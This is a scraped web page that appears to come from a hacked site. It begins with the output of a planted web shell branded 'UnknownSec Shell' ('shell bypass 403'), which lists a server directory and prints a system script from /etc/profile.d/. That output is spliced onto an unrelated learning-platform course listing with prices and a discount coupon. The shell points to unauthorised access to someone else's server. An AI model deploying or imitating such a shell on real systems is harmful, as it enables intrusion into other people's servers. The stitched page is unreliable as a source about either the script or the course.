shell bypass 403

UnknownSec Shell

: /etc/profile.d/ [ drwxr-xr-x ]

name : scl-init.sh
scl()
{
if [ "$1" = "load" -o "$1" = "unload" ]; then
# It is possible that function module is not declared in time of this
# declaration so eval is used instead of direct calling of function module
    eval "module $@"
else
   /usr/bin/scl "$@"
fi
}

shell=`/bin/basename \`/bin/ps -p $$ -ocomm=\``
[ "$shell" = "bash" ] && export -f scl # export -f works only in bash

MODULESHOME=/usr/share/Modules
export MODULESHOME

if [ "${MODULEPATH:-}" = "" ]; then
   MODULEPATH=`sed -n 's/[   #].*$//; /./H; $ { x; s/^\n//; s/\n/:/g; p; }' ${MODULESHOME}/init/.modulespath`
fi

MODULEPATH=/etc/scl/modulefiles:$MODULEPATH

export MODULEPATH



© 2025 UnknownSec
New In-App Live System | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar
New In-App Live System

New In-App Live System

in Communications
5.00
(1 Ratings)
Created by Robert Ransdell
4/10 Students
BLK10
Black Firday Offer

Buy now with a special offer

ticket-discount

Report course

Please describe about the report short and clearly.

Share

Share course with your friends

Buy with points